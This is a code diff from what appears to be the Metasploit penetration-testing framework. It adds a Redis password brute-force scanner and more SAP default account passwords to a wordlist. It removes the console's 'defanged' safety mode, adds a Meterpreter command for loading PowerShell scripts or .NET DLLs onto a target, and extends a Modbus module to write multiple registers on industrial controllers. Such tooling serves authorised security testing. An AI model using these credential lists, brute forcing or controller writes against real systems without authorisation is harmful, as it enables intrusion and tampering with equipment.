Merge branch 'master' into staging/rails-upgrade

bug/bundler_fix
David Maloney 2016-04-04 09:30:01 -05:00
commit 8de58e4b80
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
37 changed files with 1486 additions and 1665 deletions

View File

@ -1 +1 @@
2.1.8
2.1.9

View File

@ -1,6 +1,6 @@
GIT
remote: git://github.com/rapid7/metasploit-concern.git
revision: 25955570f568e3dca4d7c8123c9cdd660d77ad84
revision: 1081d8767b4c952b7f729fcf9725932e547e5541
branch: staging/rails-upgrade
specs:
metasploit-concern (1.1.0)
@ -10,7 +10,7 @@ GIT
GIT
remote: git://github.com/rapid7/metasploit-credential.git
revision: 8ab9f2dc9f207341bbfe63cdf94a8723750435be
revision: ce74ca0639c3a937f91f1138a7e998d9244ca3e0
branch: staging/rails-upgrade
specs:
metasploit-credential (1.1.0)
@ -24,7 +24,7 @@ GIT
GIT
remote: git://github.com/rapid7/metasploit-erd.git
revision: 0e89e5028340f6fa7b8332f8517b4cd0065861ab
revision: 279189d6dd850cb1e03916bef4793fd67dd0c415
branch: staging/rails-upgrade
specs:
metasploit-erd (1.1.0)
@ -34,7 +34,7 @@ GIT
GIT
remote: git://github.com/rapid7/metasploit-model.git
revision: 7ed461f7a8ef543397be9cdf06a0b910f8090327
revision: 20d11cb0a514a6353f1625c69d7ff82e60eb3320
branch: staging/rails-upgrade
specs:
metasploit-model (1.1.0)
@ -54,7 +54,7 @@ GIT
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
revision: 7870250dba97b4d529d6ecb7af3ab726f91a5b7e
revision: d36058007cff20de22976c5bcdf400b16988cd40
branch: staging/rails-upgrade
specs:
metasploit_data_models (1.3.0)
@ -91,13 +91,14 @@ PATH
json
metasm (~> 1.0.2)
metasploit-model (= 1.1.0)
metasploit-payloads (= 1.1.4)
metasploit-payloads (= 1.1.6)
msgpack
network_interface (~> 0.0.1)
nokogiri
octokit
openssl-ccm (= 1.2.1)
packetfu (= 1.1.11)
patch_finder (>= 1.0.2)
pcaprub
pg (>= 0.11)
railties
@ -112,10 +113,6 @@ PATH
GEM
remote: https://rubygems.org/
specs:
actionmailer (4.1.15)
actionpack (= 4.1.15)
actionview (= 4.1.15)
mail (~> 2.5, >= 2.5.4)
actionpack (4.1.15)
actionview (= 4.1.15)
activesupport (= 4.1.15)
@ -138,39 +135,48 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.1)
tzinfo (~> 1.1)
addressable (2.3.8)
addressable (2.4.0)
arel (5.0.1.20140414130214)
arel-helpers (2.2.0)
activerecord (>= 3.1.0, < 5)
aruba (0.6.2)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6)
aruba (0.14.1)
childprocess (~> 0.5.6)
contracts (~> 0.9)
cucumber (>= 1.3.19)
ffi (~> 1.9.10)
rspec-expectations (>= 2.99)
thor (~> 0.19)
bcrypt (3.1.11)
builder (3.2.2)
capybara (2.4.4)
capybara (2.6.2)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.5)
childprocess (0.5.9)
ffi (~> 1.0, >= 1.0.11)
choice (0.2.0)
coderay (1.1.0)
concurrent-ruby (1.0.1)
cucumber (1.3.19)
coderay (1.1.1)
contracts (0.13.0)
cucumber (2.3.3)
builder (>= 2.1.2)
cucumber-core (~> 1.4.0)
cucumber-wire (~> 0.0.1)
diff-lcs (>= 1.1.3)
gherkin (~> 2.12)
gherkin (~> 3.2.0)
multi_json (>= 1.7.5, < 2.0)
multi_test (>= 0.1.2)
cucumber-rails (1.4.2)
cucumber-core (1.4.0)
gherkin (~> 3.2.0)
cucumber-rails (1.4.3)
capybara (>= 1.1.2, < 3)
cucumber (>= 1.3.8, < 2)
mime-types (>= 1.16, < 3)
cucumber (>= 1.3.8, < 3)
mime-types (>= 1.16, < 4)
nokogiri (~> 1.5)
rails (>= 3, < 5)
railties (>= 3, < 5)
cucumber-wire (0.0.1)
diff-lcs (1.2.5)
docile (1.1.5)
erubis (2.7.0)
@ -181,21 +187,20 @@ GEM
railties (>= 3.0.0)
faraday (0.9.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.8)
ffi (1.9.10)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (2.12.2)
multi_json (~> 1.3)
gherkin (3.2.0)
i18n (0.7.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
json (1.8.3)
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasm (1.0.2)
metasploit-payloads (1.1.4)
metasploit-payloads (1.1.6)
method_source (0.8.2)
mime-types (2.99.1)
mime-types (3.0)
mime-types-data (~> 3.2015)
mime-types-data (3.2016.0221)
mini_portile2 (2.0.0)
minitest (5.8.4)
msgpack (0.7.4)
@ -205,12 +210,13 @@ GEM
network_interface (0.0.1)
nokogiri (1.6.7.2)
mini_portile2 (~> 2.0.0.rc2)
octokit (4.2.0)
sawyer (~> 0.6.0, >= 0.5.3)
octokit (4.3.0)
sawyer (~> 0.7.0, >= 0.5.3)
openssl-ccm (1.2.1)
packetfu (1.1.11)
network_interface (~> 0.0)
pcaprub (~> 0.12)
patch_finder (1.0.2)
pcaprub (0.12.1)
pg (0.18.4)
pg_array_parser (0.0.9)
@ -218,23 +224,13 @@ GEM
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.10.1)
pry (0.10.3)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.5.5)
rack-test (0.6.3)
rack (>= 1.0)
rails (4.1.15)
actionmailer (= 4.1.15)
actionpack (= 4.1.15)
actionview (= 4.1.15)
activemodel (= 4.1.15)
activerecord (= 4.1.15)
activesupport (= 4.1.15)
bundler (>= 1.3.0, < 2.0)
railties (= 4.1.15)
sprockets-rails (~> 2.0)
rails-erd (1.4.6)
activerecord (>= 3.2)
activesupport (>= 3.2)
@ -252,48 +248,41 @@ GEM
redcarpet (3.3.4)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.3.2)
rspec-support (~> 3.3.0)
rspec-expectations (3.3.1)
rspec-core (3.4.4)
rspec-support (~> 3.4.0)
rspec-expectations (3.4.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.3.0)
rspec-mocks (3.3.2)
rspec-support (~> 3.4.0)
rspec-mocks (3.4.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.3.0)
rspec-rails (3.3.3)
rspec-support (~> 3.4.0)
rspec-rails (3.4.2)
actionpack (>= 3.0, < 4.3)
activesupport (>= 3.0, < 4.3)
railties (>= 3.0, < 4.3)
rspec-core (~> 3.3.0)
rspec-expectations (~> 3.3.0)
rspec-mocks (~> 3.3.0)
rspec-support (~> 3.3.0)
rspec-support (3.3.0)
rspec-core (~> 3.4.0)
rspec-expectations (~> 3.4.0)
rspec-mocks (~> 3.4.0)
rspec-support (~> 3.4.0)
rspec-support (3.4.1)
ruby-graphviz (1.2.2)
rubyntlm (0.6.0)
rubyzip (1.2.0)
sawyer (0.6.0)
addressable (~> 2.3.5)
sawyer (0.7.0)
addressable (>= 2.3.5, < 2.5)
faraday (~> 0.8, < 0.10)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)
simplecov (0.9.2)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
simplecov (0.11.2)
docile (~> 1.1.0)
multi_json (~> 1.0)
simplecov-html (~> 0.9.0)
simplecov-html (0.9.0)
json (~> 1.8)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.0)
slop (3.6.0)
sprockets (3.5.2)
concurrent-ruby (~> 1.0)
rack (> 1, < 3)
sprockets-rails (2.3.3)
actionpack (>= 3.0)
activesupport (>= 3.0)
sprockets (>= 2.8, < 4.0)
sqlite3 (1.3.11)
thor (0.19.1)
thread_safe (0.3.5)
timecop (0.7.3)
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
xpath (2.0.0)
@ -325,6 +314,3 @@ DEPENDENCIES
timecop
yard
yard-metasploit-erd!
BUNDLED WITH
1.11.2

View File

@ -16,4 +16,12 @@ SAPJSF ch4ngeme
SAPR3 SAP
CTB_ADMIN sap123
XMI_DEMO sap123
IDEADM admin
SMD_ADMIN init1234
SMD_BI_RFC init1234
SMD_RFC init1234
SOLMAN_ADMIN init1234
SOLMAN_BTC init1234
SAPSUPPORT init1234
CONTENTSERV init1234
SMD_AGT init1234

View File

@ -23,7 +23,6 @@
_arguments \
{-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \
"-c[Load the specified configuration file]:configuration file:_files" \
{-d,--defanged}"[Execute the console as defanged]" \
{-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \
{-h,--help}"[Show help text]" \
{-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \

View File

@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config
driver_options['DeferModuleLoads'] = options.modules.defer_loads
driver_options['Defanged'] = options.console.defanged
driver_options['DisableBanner'] = options.console.quiet
driver_options['DisableDatabase'] = options.database.disable
driver_options['LocalOutput'] = options.console.local_output

View File

@ -0,0 +1,91 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with REDIS.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class Redis
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 6379
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'redis' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method can create redis command which can be read by redis server
def redis_proto(command_parts)
return if command_parts.blank?
command = "*#{command_parts.length}\r\n"
command_parts.each do |p|
command << "$#{p.length}\r\n#{p}\r\n"
end
command
end
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
host: host,
port: port,
protocol: 'tcp',
service_name: 'redis'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
command = redis_proto(['AUTH', "#{credential.private}"])
sock.put(command)
result_options[:proof] = sock.get_once
# No password - ( -ERR Client sent AUTH, but no password is set\r\n )
# Invalid password - ( -ERR invalid password\r\n )
# Valid password - (+OK\r\n)
if result_options[:proof] && result_options[:proof] =~ /but no password is set/i
result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
elsif result_options[:proof] && result_options[:proof][/^\+OK/]
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end

View File

@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.commands = []
options.console.confirm_exit = false
options.console.defanged = false
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.confirm_exit = true
end
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
options.console.defanged = true
end
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
options.console.real_readline = true
end

View File

@ -20,7 +20,7 @@ module Msf
register_options(
[
Opt::RPORT(6379),
OptString.new('Password', [false, 'Redis password for authentication test', 'foobared'])
OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared'])
]
)
@ -54,7 +54,7 @@ module Msf
if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response
fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password']
vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})")
if (auth_response = send_redis_command('AUTH', datastore['Password']))
if (auth_response = send_redis_command('AUTH', datastore['PASSWORD']))
unless auth_response =~ /\+OK/
vprint_error("Authentication failure: #{printable_redis_response(auth_response)}")
return

View File

@ -63,10 +63,18 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
else
super
end
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr)
def listener_uri(addr=datastore['LHOST'])
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}/"
end
@ -224,6 +232,7 @@ protected
# Parses the HTTPS request
#
def on_request(cli, req, obj)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid] || Msf::Payload::UUID.new
@ -241,7 +250,7 @@ protected
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}")
print_status("Ignoring unknown UUID: #{request_summary}")
info[:mode] = :unknown_uuid
end
@ -249,7 +258,7 @@ protected
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
unless allowed_urls.include?(req.relative_resource)
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}")
print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
end
@ -259,7 +268,7 @@ protected
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}")
print_status("Redirecting stageless connection from #{request_summary}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
@ -272,7 +281,7 @@ protected
resp.body = pkt.to_r
when :init_python
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
print_status("Staging Python payload ...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@ -301,7 +310,7 @@ protected
})
when :init_java
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
print_status("Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00"
blob = obj.generate_stage(
@ -325,12 +334,13 @@ protected
})
when :init_native
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
print_status("Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00"
uri = URI(payload_uri(req) + conn_id)
resp['Content-Type'] = 'application/octet-stream'
begin
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = obj.stage_payload(
@ -354,9 +364,13 @@ protected
:ssl => ssl?,
:payload_uuid => uuid
})
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
end
when :connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
print_status("Attaching orphaned/stageless session ...")
resp.body = ''
conn_id = req.relative_resource
@ -376,7 +390,7 @@ protected
else
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}")
print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'

View File

@ -60,12 +60,6 @@ module CommandDispatcher
def active_session=(mod)
driver.active_session = mod
end
#
# Checks to see if the driver is defanged.
#
def defanged?
driver.defanged?
end
#
# Logs an error message to the screen and the log file. The callstack is

View File

@ -72,8 +72,6 @@ class Auxiliary
# Executes an auxiliary module
#
def cmd_run(*args)
defanged?
opt_str = nil
action = mod.datastore['ACTION']
jobify = false

View File

@ -96,10 +96,6 @@ class Core
"-h" => [ false, "Help banner." ],
"-e" => [ true, "Expression to evaluate." ])
# The list of data store elements that cannot be set when in defanged
# mode.
DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ]
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
@ -884,8 +880,6 @@ class Core
# Goes into IRB scripting mode
#
def cmd_irb(*args)
defanged?
expressions = []
# Parse the command options
@ -1234,8 +1228,6 @@ class Core
# the framework root plugin directory is used.
#
def cmd_load(*args)
defanged?
if (args.length == 0)
cmd_load_help
return false
@ -1492,8 +1484,6 @@ class Core
# restarts of the console.
#
def cmd_save(*args)
defanged?
# Save the console config
driver.save_config
@ -1524,8 +1514,6 @@ class Core
# Adds one or more search paths.
#
def cmd_loadpath(*args)
defanged?
if (args.length == 0 or args.include? "-h")
cmd_loadpath_help
return true
@ -2182,12 +2170,6 @@ class Core
@cache_payloads = nil
end
# Security check -- make sure the data store element they are setting
# is not prohibited
if global and DefangedProhibitedDataStoreElements.include?(name)
defanged?
end
# If the driver indicates that the value is not valid, bust out.
if (driver.on_variable_set(global, name, value) == false)
print_error("The value specified for #{name} is not valid.")

View File

@ -49,8 +49,6 @@ class Exploit
# Launches an exploitation attempt.
#
def cmd_exploit(*args)
defanged?
opt_str = nil
payload = mod.datastore['PAYLOAD']
encoder = mod.datastore['ENCODER']

View File

@ -78,8 +78,6 @@ class Post
# Executes an auxiliary module
#
def cmd_run(*args)
defanged?
opt_str = nil
jobify = false
quiet = false

View File

@ -144,14 +144,6 @@ class Driver < Msf::Ui::Driver
# Whether or not to confirm before exiting
self.confirm_exit = opts['ConfirmExit']
# Disables "dangerous" functionality of the console
@defanged = opts['Defanged']
# If we're defanged, then command passthru should be disabled
if @defanged
self.command_passthru = false
end
# Parse any specified database.yml file
if framework.db.usable and not opts['SkipDatabaseInit']
@ -630,17 +622,6 @@ class Driver < Msf::Ui::Driver
#
attr_accessor :active_resource
#
# If defanged is true, dangerous functionality, such as exploitation, irb,
# and command shell passthru is disabled. In this case, an exception is
# raised.
#
def defanged?
if @defanged
raise DefangedException
end
end
def stop
framework.events.on_ui_stop()
super
@ -769,17 +750,6 @@ protected
end
end
#
# This exception is used to indicate that functionality is disabled due to
# defanged being true
#
class DefangedException < ::Exception
def to_s
"This functionality is currently disabled (defanged mode)"
end
end
end
end
end

View File

@ -122,8 +122,6 @@ module ModuleCommandDispatcher
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
defanged?
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
opt = Msf::OptAddressRange.new('RHOSTS')

View File

@ -46,12 +46,15 @@ module Net # :nodoc:
end
def pack_name(name)
if name.size > 63
raise ArgumentError, "Label data cannot exceed 63 chars"
if name.size > 255
raise ArgumentError, "Name data cannot exceed 255 chars"
end
arr = name.split(".")
str = ""
arr.each do |elem|
if elem.size > 63
raise ArgumentError, "Label data cannot exceed 63 chars"
end
str += [elem.size,elem].pack("Ca*")
end
str += [0].pack("C")

View File

@ -167,7 +167,7 @@ def self.open_webrtc_browser(url='http://google.com/')
paths.each do |path|
if File.exists?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("#{path} #{args} #{url}")
system("\"#{path}\" #{args} \"#{url}\"")
return true
end
end

View File

@ -31,6 +31,30 @@ class Powershell < Extension
end
def import_file(opts={})
return nil unless opts[:file]
# if it's a script, then we'll just use execute_string
if opts[:file].end_with?('.ps1')
opts[:code] = ::File.read(opts[:file])
return execute_string(opts)
end
# if it's a dll (hopefully a .NET 2.0 one) then do something different
if opts[:file].end_with?('.dll')
# TODO: perhaps do some kind of check to see if the DLL is a .NET assembly?
binary = ::File.read(opts[:file])
request = Packet.create_request('powershell_assembly_load')
request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE, binary.length)
request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY, binary)
client.send_request(request)
return true
end
return false
end
def execute_string(opts={})
return nil unless opts[:code]

View File

@ -8,6 +8,8 @@ module Powershell
TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4)
TLV_TYPE_POWERSHELL_ASSEMBLY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5)
end
end

View File

@ -29,6 +29,7 @@ class Console::CommandDispatcher::Powershell
#
def commands
{
'powershell_import' => 'Import a PS1 script or .NET Assembly DLL',
'powershell_shell' => 'Create an interactive Powershell prompt',
'powershell_execute' => 'Execute a Powershell command string'
}
@ -68,6 +69,51 @@ class Console::CommandDispatcher::Powershell
shell.interact_with_channel(channel)
end
@@powershell_import_opts = Rex::Parser::Arguments.new(
'-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'],
'-h' => [false, 'Help banner']
)
def powershell_import_usage
print_line('Usage: powershell_import <path to file> [-s session-id]')
print_line
print_line('Imports a powershell script or assembly into the target.')
print_line('The file must end in ".ps1" or ".dll".')
print_line('Powershell scripts can be loaded into any session (via -s).')
print_line('.NET assemblies are applied to all sessions.')
print_line(@@powershell_import_opts.usage)
end
#
# Import a script or assembly component into the target.
#
def cmd_powershell_import(*args)
if args.length == 0 || args.include?('-h')
powershell_import_usage
return false
end
opts = {
file: args.shift
}
@@powershell_import_opts.parse(args) { |opt, idx, val|
case opt
when '-s'
opts[:session_id] = val
end
}
result = client.powershell.import_file(opts)
if result.nil? || result == false
print_error("File failed to load.")
elsif result == true || result.empty?
print_good("File successfully imported. No result was returned.")
else
print_good("File successfully imported. Result:\n#{result}")
end
end
@@powershell_execute_opts = Rex::Parser::Arguments.new(
'-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'],
'-h' => [false, 'Help banner']

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.1.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.4'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.6'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@ -92,6 +92,8 @@ Gem::Specification.new do |spec|
# Needed for documentation generation
spec.add_runtime_dependency 'octokit'
spec.add_runtime_dependency 'redcarpet'
# Needed for Microsoft patch finding tool (msu_finder)
spec.add_runtime_dependency 'patch_finder', '>= 1.0.2'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -1,84 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::Deprecated
deprecated(Date.new(2016, 3, 5), 'auxiliary/scanner/redis/redis_server')
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'Redis-server Scanner',
'Description' => %q{
This module scans for Redis server. By default Redis has no auth. If auth
(password only) is used, it is then possible to execute a brute force attack on
the server. This scanner will find open or password protected Redis servers and
report back the server information
},
'Author' => [ 'iallison <ian[at]team-allison.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(6379),
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
print_status("Scanning IP: #{ip.to_s}")
begin
pkt = "PING\r\n"
connect
sock.put(pkt)
res = sock.get_once
if res =~ /PONG/
info = "INFO\r\n"
sock.put(info)
data = sock.get_once
print_status("Redis Server Information #{data}")
data_sanitized = data.to_s
elsif res =~ /ERR/
auth = "AUTH foobared\r\n"
sock.put(auth)
data = sock.get_once
print_status("Response: #{data.chop}")
if data =~ /\-ERR\sinvalid\spassword/
print_status("Redis server is using AUTH")
else
print_good("Redis server is using the default password of foobared")
report_note(
:host => rhost,
:port => rport,
:type => 'password',
:data => 'foobared'
)
end
else
print_error "#{ip} does not have a Redis server"
end
report_service(
:host => rhost,
:port => rport,
:name => "redis server",
:info => data_sanitized
)
disconnect
rescue ::Exception => e
print_error "Unable to connect: #{e.to_s}"
end
end
end

View File

@ -0,0 +1,93 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/redis'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Redis
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Login Utility',
'Description' => 'This module attempts to authenticate to an REDIS service.',
'Author' => [ 'Nixawk' ],
'References' => [
['URL', 'http://redis.io/topics/protocol']
],
'License' => MSF_LICENSE))
register_options(
[
OptPath.new('PASS_FILE',
[
false,
'The file that contains a list of of probable passwords.',
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
])
], self.class)
# redis does not have an username, there's only password
deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS', 'DB_ALL_CREDS')
end
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
# The LoginScanner API refuses to run if there's no username, so we give it a fake one.
# But we will not be reporting this to the database.
username: 'redis'
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Redis.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
credential_data.delete(:username) # This service uses no username
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
if datastore['VERBOSE']
vprint_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential} (#{result.status}: #{result.proof})"
else
print_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential}"
end
when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
break
else
invalidate_login(credential_data)
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
end

View File

@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Scanner',
'Name' => 'Redis Command Execute Scanner',
'Description' => %q(
This module locates Redis endpoints by attempting to run a specified
Redis command.

View File

@ -20,24 +20,31 @@ class MetasploitModule < Msf::Auxiliary
'Author' =>
[
'EsMnemon <esm[at]mnemonic.no>', # original write-only module
'Arnaud SOULLIE <arnaud.soullie[at]solucom.fr>' # new code that allows read/write
'Arnaud SOULLIE <arnaud.soullie[at]solucom.fr>', # code that allows read/write
'Alexandrine TORRENTS <alexandrine.torrents[at]eurecom.fr>', # code that allows reading/writing at multiple consecutive addresses
'Mathieu CHEVALIER <mathieu.chevalier[at]eurecom.fr>'
],
'License' => MSF_LICENSE,
'Actions' =>
[
['READ_COIL', { 'Description' => 'Read one bit from a coil' } ],
['READ_COILS', { 'Description' => 'Read bits from several coils' } ],
['READ_REGISTERS', { 'Description' => 'Read words from several registers' } ],
['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ],
['READ_REGISTER', { 'Description' => 'Read one word from a register' } ],
['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ]
['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ],
['WRITE_COILS', { 'Description' => 'Write bits to several coils' } ],
['WRITE_REGISTERS', { 'Description' => 'Write words to several registers' } ]
],
'DefaultAction' => 'READ_REGISTER'
'DefaultAction' => 'READ_REGISTERS'
))
register_options(
[
Opt::RPORT(502),
OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]),
OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]),
OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)", 1]),
OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]),
